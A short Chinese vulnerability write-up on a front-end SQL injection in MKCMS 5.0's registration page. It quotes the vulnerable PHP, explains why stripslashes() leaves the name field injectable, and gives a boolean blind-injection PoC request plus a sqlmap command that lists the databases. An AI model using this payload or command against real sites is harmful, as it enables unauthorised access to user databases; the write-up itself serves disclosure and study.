米酷影视 MKCMS5.0 前台SQL注入漏洞
2023-09-11 14:22:30 时间
漏洞详情
漏洞出现在/ucenter/reg.php第7-19行:
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from mkcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>';
exit;
}
$result = mysql_query('select * from mkcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>';
exit;
}
注册用户名时$username参数传到后台后经过stripslashes()函数处理,而stripslashes()函数的作用是删除addslashes() 函数添加的反斜杠。
当前页面无输出点,只是返回一个注册/未注册(通过if判断true或者false),可以使用布尔盲注来解决这个问题
poc
POST /ucenter/reg.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/ucenter/reg.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Connection: close
Cookie: PHPSESSID=cb8e6ccde6cf9050972fa9461d606be3
Upgrade-Insecure-Requests: 1
name=test' AND 1=1 AND 'inject'='inject&email=sss%40qq.com&password=ssssss&submit=
将POC中的数据包保存下来丢给sqlmap跑即可。
sqlmap -r demo.txt --dbs
相关文章
- 如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!
- DT6.0关于SQL注入漏洞修复问题
- 安全测试全面总结-6-SQL注入漏洞
- Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析
- JDBC的SQL注入漏洞分析和解决
- 16 - vulhub - Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)
- WEB漏洞攻防 - SQL注入 - Dnslog注入
- WEB漏洞攻防 - SQL注入 - 二次注入
- WEB漏洞攻防 - SQL注入 - 堆叠注入
- 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
- PHPCMS phpcmsmodulesmemberindex.php 用户登陆SQL注入漏洞分析
- WEB漏洞攻防 - SQL注入 - 盲注
- WEB漏洞攻防 - SQL注入 - 堆叠注入
- WEB漏洞攻防 - SQL注入 - 安全测试思路总结
- 网络安全80端口—-PHP CGI参数注入执行漏洞